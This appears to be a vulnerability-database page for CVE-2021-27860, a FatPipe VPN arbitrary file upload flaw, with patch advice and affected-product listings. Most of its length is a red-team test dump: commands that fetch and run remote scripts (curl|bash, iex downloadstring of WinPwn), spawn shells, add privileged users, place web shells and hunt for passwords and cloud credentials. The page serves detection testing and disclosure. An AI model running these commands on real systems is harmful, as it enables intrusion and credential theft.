CVE-2021-27860
Overview
The vulnerability is an unrestricted file upload flaw originating from improper input validation in the web management interface of FatPipe WARP, IPVPN, and MPVPN software. Specifically, the affected component fails to restrict file upload destinations, allowing arbitrary file writes to any location on the underlying filesystem. This issue is rooted in inadequate sanitization and access control checks within the web interface's file handling functionality prior to versions 10.1.2r60p92 and 10.2.2r44p1.
Vulnerability Description
A vulnerability in the web management interface of FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p92 and 10.2.2r44p1 allows a remote, unauthenticated attacker to upload a file to any location on the filesystem. The FatPipe advisory identifier for this vulnerability is FPSA006.
Impact
An unauthenticated remote attacker can upload malicious files to arbitrary locations on the device filesystem, potentially leading to remote code execution, persistent backdoors, or system compromise. No prior credentials or user interaction are necessary, enabling full system control. This can result in unauthorized access to sensitive data, disruption of network services, and lateral movement within an enterprise environment relying on FatPipe products.
Solution
Apply the vendor-released patches for FatPipe WARP, IPVPN, and MPVPN software updating to versions 10.1.2r60p92 or later, or 10.2.2r44p1 or later as specified in advisory FPSA006. Detailed patch instructions and updates are available at https://www.fatpipeinc.com/support/cve-list.php. No official workarounds have been documented; immediate upgrade is recommended to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (108)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fatpipeinc | Ipvpn Firmware | 5.2.0 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:5.2.0:r34:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 6.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:6.1.2:r70p26:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 6.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:6.1.2:r70p45-m:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 6.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:6.1.2:r70p75-m:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 7.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:7.1.2:r39:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r129:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r144:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r150:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r156:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p12:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p16:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p17:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p2:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p20:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p26:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r161p3:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r164:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r164p4:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r164p5:*:*:*:*:*:*
|
|
|
Fatpipeinc | Ipvpn Firmware | 9.1.2 |
cpe:2.3:o:fatpipeinc:ipvpn_firmware:9.1.2:r165:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-27860 |
| fatpipeinc.com |
GitHub CVE
|
https://www.fatpipeinc.com/support/cve-list.php |
| ic3.gov |
GitHub CVE
|
https://www.ic3.gov/Media/News/2021/211117-2.pdf |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-27860 |